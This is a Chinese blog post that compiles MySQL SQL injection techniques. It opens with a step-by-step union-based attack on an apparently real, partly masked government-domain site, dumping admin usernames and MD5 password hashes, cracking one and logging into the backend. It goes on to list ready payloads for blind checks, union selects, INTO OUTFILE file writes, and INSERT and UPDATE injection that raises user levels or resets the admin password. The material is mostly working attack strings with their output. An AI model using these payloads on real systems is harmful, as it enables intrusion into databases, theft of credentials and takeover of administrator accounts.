mysql中sql注入是什么_MYSQL中常用sql注入整理

第四步,爆出数据库的基本信息。

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228+and+1=2+union+select+1,2,3,concat(user(),0x20,database(),0x20,version()),5,6–-

用户:people@localhost 数据库名:people 版本:5.0.20a-log

爆出所有的数据库:

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+table_schema),5,6+from+information_schema.columns--

爆出数据库名:information_schema,people,test

information_schema数据库是在MYSQL的版本5.0之后产生的,一个虚拟数据库,物理上并不存在。nformation_schema数据库类似与“数据字典”,提供了访问数据库元数据的方式,即数据的数据。比如数据库名或表名,列类型,访问权限(更加细化的访问方式)。information_schema是一个由数据库的元数据组成的数据库。里面存储的是MYSQL的数据库基本信息。并随时改变。用于查看信息以及系统决策时作为重要的信息提供者。

MYSQL的版本5.0以上版本,我们借助information_schema数据库,来获取其他数据库的信息。用到了group_concat()函数,distinct参数起到了去掉重复显示的作用。

第五部,根据数据库表进行爆出所有数据库的表名:

http://rsc.XXXx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+table_name),5,6+from+information_schema.tables+where+table_schema=database()--

admin1,answer,check,class,news,system,zhaoping

该页面为news.php 其数据库表肯定就是news表,

第六步,爆出admin1表里字段,再爆出的用户信息,登录后台

把admin1进行hex(16进制)的结果为:0x61646D696E31

爆出所有的字段:

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+column_name),5,6+from+information_schema.columns+where+table_name=0x61646D696E31--

字段为:id,admin,password,rank

再爆出 admin和password里的值:

http://rsc.xxxx.jx.cn/public/dongtai/news.php?id=228%20and%201=2+union+select+1,2,3,group_concat(distinct+id,0x2b,admin,0x2b,password,0x2b,rank),5,6+from+admin1--

1+admin+e10adc3949ba59abbe56e057f20f883e+0,

2+87046609+e10adc3949ba59abbe56e057f20f883e+1,

3+87046607+14a026642666897df2fcdcfe821af855+2,

4+87046608+e10adc3949ba59abbe56e057f20f883e+3,

5+87046605+9511364ffd98d4ac7fa9a4804b0e5669+4,

6+87046610+e10adc3949ba59abbe56e057f20f883e+5,

7+87046606+c11948f135f946ff173ca9b5d88465ca+6

把admin的密码MD5解密下为123456,

就OK 了。

本表查询:

[url=]http://localhost/injection/user.php?username=angel'[/url] and LENGTH(password)='6

[url=]http://localhost/injection/user.php?username=angel'[/url] and LEFT(password,1)='m

Union联合语句:

[url=]http://localhost/injection/show.php?id=1'[/url] union select 1,username,password from user/*

[url=]http://localhost/injection/show.php?id='[/url] union select 1,username,password from user/*

导出文件:

[url=]http://localhost/injection/user.php?username=angel'[/url] into outfile 'c:/file.txt

[url=]http://localhost/injection/user.php?username='[/url] or 1=1 into outfile 'c:/file.txt

[url=]http://localhost/injection/show.php?id='[/url] union select 1,username,password from user into outfile 'c:/user.txt

Insert语句:

Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');

构造homepage值为:[url=]http://4ngel.net'[/url], '3’)#

SQL语句变为:Insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1');

Update语句:

先理解这句SQL

Update user SET password='MD5($password)', homepage='$homepage' Where id='$id'

如果此SQL被修改成以下形式,就实现了注入

1:修改homepage值为

[url=]http://4ngel.net'[/url], userlevel='3

之后SQL语句变为

Update user SET password='mypass', homepage='http://4ngel.net', userlevel='3' Where id='$id'

userlevel为用户级别

2:修改password值为

mypass)' Where username='admin'#

之后SQL语句变为

Update user SET password='MD5(mypass)' Where username='admin'#)', homepage='$homepage' Where id='$id'

3:修改id值为

' or username='admin'

之后SQL语句变为

Update user SET password='MD5($password)', homepage='$homepage' Where id='' or username='admin'

常用的MySQL内置函数

DATABASE()

USER()

SYSTEM_USER()

SESSION_USER()

CURRENT_USER()

database()

version()

SUBSTRING()

MID()

char()

load_file()

总结,对于注入最简单也是最容易出错的,对于新手很多数据不加以过滤,对于高级可能就是服务器或逻辑问题了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值